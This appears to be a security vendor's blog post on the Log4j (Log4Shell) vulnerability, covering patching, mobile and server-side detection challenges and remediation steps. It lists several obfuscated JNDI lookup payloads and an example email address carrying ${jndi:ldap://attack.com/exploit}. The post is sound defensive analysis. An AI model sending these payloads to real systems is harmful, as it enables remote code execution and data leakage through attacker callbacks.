By now, most of you have already heard or read about the Log4J storm.

The goal of this article is not to reiterate the same content that many resources have already shared, but to present a different perspective that focuses on Mobile detection and also addresses the unique challenges that all vulnerability scanners are facing to detect this type of vulnerability.

The first time we heard of Log4J was Friday morning from someone asking if Android is vulnerable to the bug. Reading through the issue, this seemed like a serious vulnerability, but didn’t seem any more critical than the Equifax bug (already a pretty serious one).

It is only later in the day where things start to clarify. Log4j bug is a remotely exploitable RCE, that doesn’t require any memory protection bypass, very reliable, it is in a very prevalent library, even on Mars, and the impact can cascade to systems far beyond internet exposed servers. This issue is as bad as it can get.

The vulnerability is also highly obfuscatable thanks to a feature-rich templating engine, as you can see below:

${${lower:j}${lower:n}${lower:d}${lower:i}:${lower:l}${lower:d}${lower:a}${lower:p}://test/a}

${${lower:j}${lower:n}${lower:d}${lower:i}:${lower:l}${lower:d}${lower:a}${lower:p}://${upper:t}est/a} 

${${env:env_name:-j}${env:env_name:-n}${env:env_name:-d}${env:env_name:-i}${env:env_name:-:}${env:env_name:-l}${env:env_name:-d}${env:env_name:-a}${env:env_name:-p}${env:env_name:-:}//test/a} (Also works on rmi, dns, ldaps)

${${::-j}${${::-n}${${::-d}${${::-i}:${::-l}${${::-d}${${::-a}${${::-p}://test/a}

${${::-j}${${::-n}${${::-d}${${::-i}:${::-l}${${::-d}${${::-a}${${::-p}://${hostname}.test/a}

${jndi:ldap://{$date:YYYYMMddHHmmss}.test/a}

Fixing the issue would require updating the library, and in some cases upgrading to a newer version of Java, with potentially breaking changes.

To address this issue, Ostorlab set to work on 3 parts:

• Patching our systems and remediate any missing fixes
• Verifying applicability to Mobile application and ensuring proper detection
• Implementing detection on Server Side and APIs scans

Patching

Thanks to the use of cloud based-services, our inventory is easily maintained. After going over the list of all systems and scanning each, we identified a vulnerable service used for results indexing. At that time the service had no patch available. The system was however not business critical, so we resolved first to disable it. Analysis of our code bases did however yield some tools shipped with our code that had a vulnerable version of log4j and were patched quickly.

Detection client-side

Log4j is not commonly used in Mobile Applications. Analysing however the historical data of previously scanned applications, yielded over 100 applications, some with over 50M users with a log4j version.

TIP: The application software bill of materials is automatically generated by Ostorlab, including in the free community version in the “Libraries & Dependencies” section.

The Log4j vulnerability is however caused by a JNDI lookup class that was absent from the versions we reviewed.

Digging deep into the JNDI feature, the implementation of JNDI is located in javax.naming and on some versions of android on android.javax.naming.

This package is rarely present in applications, but was seen in at least 6 applications, some with over a million users. All these applications showed an implementation of JNDI resolution.

While Log4j is likely to be the most widespread vector, it is likely that we will see future vulnerable applications due to untrusted JNDI resolution.

Analysis of the javax.naming package showed that it is used by several applications, including some to perform CN extraction from TLS certificates.

Below is a full graph generated using Ostorlab static analysis feature showing where the naming implementation class is used across the application:

Detection server-side

There are already many open-source projects to fuzz applications with JNDI strings to wait for callbacks.

The first challenge of Log4j scanning is that it is callback based, meaning that sending a simple request and waiting for a response will not yield any result. Traditional network scanners might fail because they are sometimes deployed on private networks and their callback based payload will use the non-reachable machine IP address.

The second challenge is that logs can come from different inputs having different serialisation data. And only once the input passes the first deserialisation phase that the vulnerability may trigger. This is by far not unique to log4j but is a known common weakness of all web vulnerability scanners.

The final challenge is that direct request are not the only attack vector, some have already experimented with putting the payload in robots.txt, DNS fields, email addresses (hack+(${jndi:ldap://attack.com/exploit})@ostorlab.co is a valid email address), TLS certificate fields, file metadata, Wifi BSSID, ... basically the limit is your imagination.

No security tool is likely to cover these.

What should we do?

This vulnerability is by far one of the most dangerous one, and the ramifications will take months to unfold before hearing about the severe compromises.

To protect your organization, many steps must be taken:

• Proactive patching: if you are unsure if your application is vulnerable, you can use the Ostorlab free platform to perform a scan and ensure no vulnerable Log4j library is present.
• Source code dependency scanning to root-out the easy to detect cases
• Compiled artifact scanning, be it your wars, jar, apk or docker container.
• Live instance scanning, both your code and your 3rd party system and appliances. Verify that the scanners you are using speak the lingo of your APIs, meaning support for REST, SOAP with proper API discovery, like OpenAPI or GraphQL schema introspection depending on your use-case.
• WAF will likely have little benefit unfortunately due to how easy it is to obfuscate the vulnerability, but remain a good in-depth protection to have.